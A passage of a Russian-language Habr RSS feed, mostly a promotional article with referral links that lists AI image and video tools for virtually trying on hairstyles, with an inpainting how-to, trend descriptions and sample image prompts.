href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;Midjourney&lt;/a&gt;, в ней нет кнопки &lt;em&gt;«Generate»&lt;/em&gt; для идеального совпадения.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Иллюзия контроля:&lt;/strong&gt; ИИ создает опасное ощущение, что мы можем полностью смоделировать и запрограммировать визуальную судьбу человека еще до его зачатия.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Новая цифровая этика:&lt;/strong&gt; Насколько экологично генерировать и выкладывать в сеть образы людей, которых еще не существует? Юристы и специалисты по кибербезопасности уже спорят о правах на такие изображения.&lt;/ul&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Нейросети- это грандиозный инструмент для визуализации и генерации трафика. Они дарят эмоции, а эмоции - главная валюта в сети. Но важно помнить: ИИ показывает нам не реальное будущее, а лишь одну из миллионов красивых цифровых иллюзий. Относитесь к этому как к высокотехнологичной магии, но оставляйте место для настоящей жизни.&lt;/strong&gt;&lt;/code&gt;&lt;hr&gt;&lt;p&gt;ИИ-генераторы детей - это не просто очередная маска из соцсетей, которая забудется через месяц. Это первый массовый подход человечества к визуализации своего продолжения. И пока технологии спорят с генетикой, а психологи - с маркетологами, глупо отрицать очевидное: тренд генерирует сумасшедшие охваты.&lt;p&gt;Хотите проверить, чьи гены окажутся сильнее в цифровой вселенной, или запустить вирусный интерактив в своих соцсетях? Нейросети уже готовы выдать вам сотню вариантов. Главное - помнить, что самый идеальный и непредсказуемый результат все равно создается не на серверах с видеокартами, а в реальной жизни.&lt;p&gt;&lt;strong&gt;А вы бы рискнули примерить внешность будущего малыша в ИИ или предпочитаете старый добрый сюрприз от природы?&lt;/strong&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/studyai/articles/1046019/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046019</guid>
      <pubDate>Wed, 10 Jun 2026 19:18:59 +0000</pubDate>
    </item>
    <item>
      <title>Как подобрать прическу с помощью нейросети — ТОП-7 ИИ для примера прически онлайн</title>
      <link>https://habr.com/ru/companies/studyai/articles/1046105/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046105</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Шоколадный шелк до лопаток, который в зеркале превратился в общипанное каре цвета ржавой кастрюли. Знакомо? Каждая первая хоть раз выползала из салона красоты с фальшивой улыбкой, оставляя чаевые дрожащей рукой, а потом ревела в машине под Адель. Потому что мастер «так видит», а у вас форма лица вообще-то круглая, а не как у той модели из Pinterest.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/740/be3/cfb/740be3cfbb99bb9f71b9d79568ff2f1e.png width=1200 height=675 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/740/be3/cfb/740be3cfbb99bb9f71b9d79568ff2f1e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/740/be3/cfb/740be3cfbb99bb9f71b9d79568ff2f1e.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В 2026 году ставить такие эксперименты над своей психикой и несчастными волосами - дичь. Зачем рисковать длиной, которую растили годами, если можно устроить жесткий тест-драйв любому капризу прямо в смартфоне? Семь секунд - и вы примеряете густую челку, дорогой сиропный блонд или каскад из 90-х без единого взмаха ножниц.&lt;p&gt;Мы собрали 7 топовых нейросетей, которые не просто приклеят к вашей голове чужой парик-мочалку, а идеально впишут новый трендовый образ в ваши черты лица, сохранят световые блики и покажут реальный результат. Больше никаких слез на пороге парикмахерской. Только холодный расчет и сочный цифровой глянец.&lt;p&gt;Нейросети для примерки прически, которые выдают качество уровня обложки Vogue👇&lt;hr&gt;&lt;h2&gt;Как загрузить свое фото и выделить зону волос для генерации прически в нейросети - стираем старое прошлое одной кнопкой&lt;/h2&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b53/21e/918/b5321e918842ee94162ed245e70a2a7c.png width=1393 height=782 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b53/21e/918/b5321e918842ee94162ed245e70a2a7c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b53/21e/918/b5321e918842ee94162ed245e70a2a7c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Перед тем как ворваться в тренды, разберемся с технической стороной вопроса. Спешу успокоить: скачивать терабайты софта, настраивать прокси и платить криптой не придется. Все нужные ИИ-инструменты для подбора прически доступны без VPN и боли с иностранными картами. Так что выдохнули.&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;Главная фишка, которая спасет вашу длину, называется&lt;code&gt;&lt;strong&gt;Inpaint &lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;(или замена выделенной области)&lt;/strong&gt;. Логика работы во всех адекватных графических сетях одинаковая, простая как интерфейс айфона:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Загружаем исходник.&lt;/strong&gt; Выбираем свое самое четкое селфи, желательно при хорошем дневном свете и анфас, чтобы нейросеть четко считала пропорции вашего лица.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Безжалостно трем.&lt;/strong&gt; Активируем функцию редактирования (в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt; &lt;/a&gt;это кнопка &lt;em&gt;Vary Region&lt;/em&gt;, в других сетях - инструмент &lt;em&gt;Inpaint&lt;/em&gt; или иконка кисти). Проводим пальцем по своим волосам, аккуратно закрашивая всю прическу. Лицо не трогаем! Наша задача - оставить базу и освободить место для цифровой магии.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Кормим ИИ текстом.&lt;/strong&gt; В появившемся окошке пишем, на что именно хотим заменить стертую шевелюру.&lt;p&gt;&lt;strong&gt;&lt;em&gt;Вуаля. Пара секунд - и вы забираете сочные варианты. А чтобы вместо салонного люкса не получить парик из дешевого карнавального магазина, ниже разберем готовые формулы под каждый тренд.&lt;/em&gt;&lt;/strong&gt;&lt;/ol&gt;&lt;hr&gt;&lt;h2&gt;ТОП-7 лучших нейросетей для подбора прически по фото&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney_toe_bot&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;strong&gt;Google Image&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano Banana Pro&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=https://habr.com/rss/all/all/#5&gt;&lt;strong&gt;Improve_photo&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fkling_2_1_master&#34;&gt;&lt;strong&gt;Kling 2.1 Master&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fsora_pro&#34;&gt;&lt;strong&gt;Sora Pro&lt;/strong&gt;&lt;/a&gt;&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;Главные бьюти-тренды в прическах на 2026 год&lt;/h2&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a6a/893/30c/a6a89330c64a6d713928d72baa4ba68a.png width=900 height=300 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a6a/893/30c/a6a89330c64a6d713928d72baa4ba68a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a6a/893/30c/a6a89330c64a6d713928d72baa4ba68a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;От чего сейчас пищат инфлюенсеры в TikTok и Pinterest&lt;/em&gt;&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Glow-Up Текстуры (Liquid Hair):&lt;/strong&gt; В тренде абсолютно прямые, тяжелые, зеркальные волосы с нереальным глянцевым блеском, как у моделей с показов.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Слои и гранж из 90-х (Modern Shag &amp;amp; Butterfly Cut):&lt;/strong&gt; Стрижка «бабочка» и каскады. Объемные, живые, слегка небрежные пряди.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Медовый и каштановый люкс (Expensive Honey &amp;amp; Syrup Blonde):&lt;/strong&gt; Холодный платиновый блонд окончательно уступил место «дорогому» теплому карамельному, медовому и глубокому сиропному блонду.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Мягкое каре с ровным срезом (Blunt Curve Bob):&lt;/strong&gt; Никакой жесткой филировки, только плотный, чистый, ровный срез, слегка подкрученный внутрь или наружу.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Y2K Креатив:&lt;/strong&gt; Футуристичные плетения, тонкие косички у лица в стиле 2000-х, заколки-крабики и непрямые проборы.&lt;/ol&gt;&lt;hr&gt;&lt;h2&gt;Подбор прически по фото с помощью нейросети готовые промты и примеры&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#1&gt;&lt;strong&gt;Примерка прически с помощью нейросети в стиле «Зеркальный глянец»: Liquid Hair&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#2&gt;&lt;strong&gt;Примерка прически с помощью нейросети в стиле стрижка «Бабочка» и гранж-каскады&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#3&gt;&lt;strong&gt;Примерка прически с помощью нейросети в стиле медовый люкс: Карамель и сиропный блонд&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#4&gt;&lt;strong&gt;Примерка прически с помощью нейросети в стиле французский шик: Мягкое каре с ровным срезом&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#5&gt;&lt;strong&gt;Примерка прически с помощью нейросети в стиле дерзкий Y2K: Тонкие косички и эстетика нулевых&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#6&gt;&lt;strong&gt;Примерка прически с помощью нейросети Волосы на ветру в 4K&lt;/strong&gt;&lt;/a&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://habr.com/rss/all/all/#7&gt;&lt;strong&gt;Примерка прически с помощью нейросети Голливудская проходка&lt;/strong&gt;&lt;/a&gt;&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;1. Примерка прически через нейросеть в стиле «Зеркальный глянец»: Liquid Hair&lt;/h2&gt;&lt;a class=anchor id=1&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru/?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Эпоха пересушенных утюжками прядей прошла. Сейчас в топе абсолютно прямые, тяжелые, струящиеся волосы, которые блестят так, будто в них отражается весь студийный свет.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/74a/86e/2d7/74a86e2d75854f5ca5856e94db85df7e.png alt=&#34;Эффект жидкого шелка, к которому хочется прикоснуться через экран&#34; title=&#34;Эффект жидкого шелка, к которому хочется прикоснуться через экран&#34; width=902 height=578 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/74a/86e/2d7/74a86e2d75854f5ca5856e94db85df7e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/74a/86e/2d7/74a86e2d75854f5ca5856e94db85df7e.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Эффект жидкого шелка, к которому хочется прикоснуться через экран&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Чтобы &lt;/strong&gt;&lt;/code&gt;&lt;a href=&#34;https://eduforms.ru/?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;code&gt;&lt;strong&gt; выдала ту самую дорогую, глянцевую тяжесть, а не пушащиеся концы, ее нужно засыпать правильными триггерами профессионального стилиста. Забудьте слово &lt;em&gt;straight&lt;/em&gt; (прямые) - для нейросети это слишком банально. Используйте маркеры текстуры ткани (&lt;em&gt;silk, satin&lt;/em&gt;) и направленного верхнего света, который дает мощный блик на макушке.&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;💇‍♀️&lt;strong&gt;Промпт для подбора прически в&lt;/strong&gt; &lt;a href=&#34;https://eduforms.ru/?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt;:&lt;pre&gt;&lt;code&gt;Perfect liquid hair effect, ultra-sleek and heavy straight hair, &#xA;high-gloss finish, reflecting studio light, &#xA;premium silk texture, professional hair styling, &#xA;8k resolution&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;2. Примерка прически через нейросеть - Объем из 90-х: Стрижка «Бабочка» и гранж-каскады&lt;/h2&gt;&lt;a class=anchor id=2&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Если вам нужен сумасшедший объем, живое движение и легкая, сексуальная небрежность - это ваш выбор. Легендарный Blowout (прическа супермоделей 90-х) вернулся в виде стрижек Butterfly Cut и Modern Shag.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/028/02a/b43/02802ab43512ed9f8ef3100698b83e97.png alt=&#34;Много слоев, летящие пряди у лица и головокружительный объем от самых корней&#34; title=&#34;Много слоев, летящие пряди у лица и головокружительный объем от самых корней&#34; width=600 height=900 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/028/02a/b43/02802ab43512ed9f8ef3100698b83e97.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/028/02a/b43/02802ab43512ed9f8ef3100698b83e97.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Много слоев, летящие пряди у лица и головокружительный объем от самых корней&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;code&gt; - палочка-выручалочка, если вы не хотите мучиться со сложным английским сленгом. Эта сеть обожает подробные описания и понимает динамику кадра. Ей нужно объяснить, что волосы не просто лежат, а буквально летят, создавая эффект дорогой укладки на круглый брашинг феном Дайсон.&lt;/code&gt;&lt;p&gt;💇‍♀️&lt;strong&gt;Промпт для подбора прически в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/a&gt;&lt;pre&gt;&lt;code&gt;A photo showcasing a 90s blowout haircut with butterfly layers, &#xA;voluminous bouncy hair with dynamic movement, &#xA;soft curtain bangs framing the face, premium &#xA;salon styling, cinematic lighting&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;3. Примерка прически через нейросеть в стиле медовый люкс: Карамель и сиропный блонд&lt;/h2&gt;&lt;a class=anchor id=3&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;code&gt;&lt;strong&gt;Google Image&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Выжженная платина и холодный пепел официально признаны бьюти-преступлением. В тренде эстетика «old money» и мягкие, глубокие, теплые оттенки. Выбираем карамель, тягучий сироп, мед и мягкие многомерные блики, которые создают ощущение, что вы только что вернулись с калифорнийского побережья.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/883/e8f/a6d/883e8fa6d1a2ed2435fab14cfdf59b17.png alt=&#34;Эффект естественного выгорания на солнце&#34; title=&#34;Эффект естественного выгорания на солнце&#34; width=393 height=552 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/883/e8f/a6d/883e8fa6d1a2ed2435fab14cfdf59b17.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/883/e8f/a6d/883e8fa6d1a2ed2435fab14cfdf59b17.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Эффект естественного выгорания на солнце&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;code&gt;Google Image&lt;/code&gt;&lt;/a&gt;&lt;code&gt; идеален для этого тренда, потому что он лучше всех на рынке понимает естественные оттенки кожи и мягкую игру тепла. Он не сделает вас ядовито-желтой, а ювелирно впишет благородное колорирование в ваш родной цветотип. Чтобы добиться этого, используем слова о «многомерном» окрашивании.&lt;/code&gt;&lt;p&gt;💇‍♀️&lt;strong&gt;Промпт для подбора прически в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgoogle_image&#34;&gt;&lt;strong&gt;Google Image&lt;/strong&gt;&lt;/a&gt;&lt;pre&gt;&lt;code&gt;Warm syrup blonde highlights, expensive caramel tones, &#xA;rich dimensional hair coloring, soft &#xA;sun-kissed hair reflection, realistic &#xA;hair texture, natural sunlight&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;4. Примерка прически через нейросеть в стиле французский шик: Мягкое каре с ровным срезом&lt;/h2&gt;&lt;a class=anchor id=4&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Подобрать прическу в&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;Nano Banana Pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Для тех, кто созрел для кардинальных перемен, но боится превратиться в одуванчик. Никакой жесткой филировки и рваных концов - только плотный, чистый, геометрически безупречный срез (Blunt Curve Bob), который слегка подкручивается внутрь или наружу, подчеркивая линию скул.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bd8/367/c0f/bd8367c0ff634fac67a73e514b4abfa8.png alt=&#34;Выглядит как небрежный, наполненный ветром калифорнийский боб с живой текстурой и вспышками солнца в светлых прядях&#34; title=&#34;Выглядит как небрежный, наполненный ветром калифорнийский боб с живой текстурой и вспышками солнца в светлых прядях&#34; width=474 height=592 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bd8/367/c0f/bd8367c0ff634fac67a73e514b4abfa8.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bd8/367/c0f/bd8367c0ff634fac67a73e514b4abfa8.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Выглядит как &lt;strong&gt;небрежный, наполненный ветром калифорнийский боб с живой текстурой и вспышками солнца в светлых прядях&lt;/strong&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;code&gt;&lt;strong&gt;Nano Banana Pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;code&gt; без проблем справляется с четкой геометрией. Чтобы каре выглядело по-французски элегантно, а не как стрижка «под горшок» из детства, прописываем минималистичный стиль, плотность среза и идеальную форму концов.&lt;/code&gt;&lt;p&gt;💇‍♀️&lt;strong&gt;Промпт для подбора прически в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano Banana Pro&lt;/strong&gt;&lt;/a&gt;&lt;pre&gt;&lt;code&gt;Minimalist blunt cut bob, clean sharp edges, &#xA;French girl chic style, sleek hair texture, &#xA;slightly curved inward at the ends,&#xA;high fashion editorial portrait&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;5. Примерка прически через нейросеть в стиле дерзкий Y2K: Тонкие косички и эстетика нулевых&lt;/h2&gt;&lt;a class=anchor id=5&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Подобрать прическу в &lt;/strong&gt;&lt;a href=https://python%20-X%20utf8%20-u%20update_articles.py%20all5.txt%20--headless%20--today%202026-06-10&gt;&lt;code&gt;&lt;strong&gt;Improve_photo&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Главный хит для зумеров и любителей фестивального креатива. Переносимся в эру MTV: тонкие косички-жгуты, обрамляющие лицо, футуристичные плетения, забавные заколки-крабики и ломаные, зигзагообразные проборы.&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e7/0a0/7ad/5e70a07ad5cd9d61464271022ffe4036.png alt=&#34;Прическа возвращает в эпоху MTV, винила и абсолютной свободы&#34; title=&#34;Прическа возвращает в эпоху MTV, винила и абсолютной свободы&#34; width=347 height=145 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/5e7/0a0/7ad/5e70a07ad5cd9d61464271022ffe4036.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e7/0a0/7ad/5e70a07ad5cd9d61464271022ffe4036.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Прическа возвращает в эпоху MTV, винила и абсолютной свободы&lt;/strong&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;Здесь критически важны мелкие детали. Чтобы сеть не запуталась в плетениях, четко указываем, где именно должны находиться косички - прямо у лица (framing the face).&lt;/code&gt;&lt;p&gt;💇‍♀️&lt;strong&gt;Промпт для подбора прически в &lt;/strong&gt;&lt;a href=https://python%20-X%20utf8%20-u%20update_articles.py%20all5.txt%20--headless%20--today%202026-06-10&gt;&lt;strong&gt;Improve_photo&lt;/strong&gt;&lt;/a&gt;&lt;pre&gt;&lt;code&gt;Y2K aesthetic hair styling, &#xA;long hair with baby braids framing the face, &#xA;sharp parting, futuristic cyber-pop mood,&#xA;highly detailed braids, studio lighting&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;hr&gt;&lt;h2&gt;6.Примерка прически через нейросеть - Оживи свой образ: Волосы на ветру в 4K&lt;/h2&gt;&lt;a class=anchor id=6&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Запустить симуляцию в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fkling_2_1_master&#34;&gt;&lt;code&gt;&lt;strong&gt;Kling 2.1 Master&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;Вы нашли идеальное фото с новым цветом и формой? Мало просто посмотреть на застывшую картинку. Настоящий тест-драйв - это увидеть, как ваши новые волосы ведут себя в реальной жизни. Для этого берем готовый портрет из предыдущих шагов и скармливаем его мощной видеонейросети&lt;strong&gt; &lt;/strong&gt;&lt;a 